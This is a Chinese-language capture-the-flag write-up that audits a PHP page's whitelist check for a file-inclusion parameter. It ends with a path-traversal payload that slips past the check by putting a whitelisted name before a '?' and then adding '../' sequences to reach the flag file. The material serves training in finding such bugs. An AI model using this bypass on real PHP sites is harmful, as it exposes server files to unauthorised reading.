打开题目链接 是一张图

查看源代码 提示source.php

访问这个文件

得到源码
-
- highlight_file(__FILE__);
- class emmm
- {
- public static function checkFile(&$page)
- {
- $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
- if (! isset($page) || !is_string($page)) {
- echo "you can't see it";
- return false;
- }
-
- if (in_array($page, $whitelist)) {
- return true;
- }
-
- $_page = mb_substr(
- $page,
- 0,
- mb_strpos($page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
-
- $_page = urldecode($page);
- $_page = mb_substr(
- $_page,
- 0,
- mb_strpos($_page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
- echo "you can't see it";
- return false;
- }
- }
-
- if (! empty($_REQUEST['file'])
- && is_string($_REQUEST['file'])
- && emmm::checkFile($_REQUEST['file'])
- ) {
- include $_REQUEST['file'];
- exit;
- } else {
- echo "
"; - }
- ?>
进行代码审计
首先看到 设置的一段白名单
![]()
进入hint.php看看

果然后面的代码不会白瞎 安心分析源码咯
先看最后一个if
- if (! empty($_REQUEST['file'])
- && is_string($_REQUEST['file'])
- && emmm::checkFile($_REQUEST['file'])
- ) {
- include $_REQUEST['file'];
- exit;
- } else {
- echo "
";
file不为空 为string类型 并执行checkFile()函数include查看checkFile()函数
- public static function checkFile(&$page)
- {
- $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
- if (! isset($page) || !is_string($page)) {
- echo "you can't see it";
- return false;
- }
-
- if (in_array($page, $whitelist)) {
- return true;
- }
-
- $_page = mb_substr(
- $page,
- 0,
- mb_strpos($page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
-
- $_page = urldecode($page);
- $_page = mb_substr(
- $_page,
- 0,
- mb_strpos($_page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
- echo "you can't see it";
- return false;
- }
- }
四个if分析:
$page不为空或不为字符串 返回false
$page在$whitelist数组中 返回true
mb_substr()函数截取字符串
mb_strpos()函数返回在$page中?前的内容 没有则返回$page的值
截取后$page在$whitelist数组中 返回true
对$page进行URL解码
执行与之前相同的截取操作
解码截取后$page在$whitelist数组中 返回true
checkFile()函数会匹配?前的内容是否在数组whitelist中 因为不知道在哪个目录 多次添加../
构造payload
/source.php?file=source.php?../../../../../ffffllllaaaagggg

底部找到flag
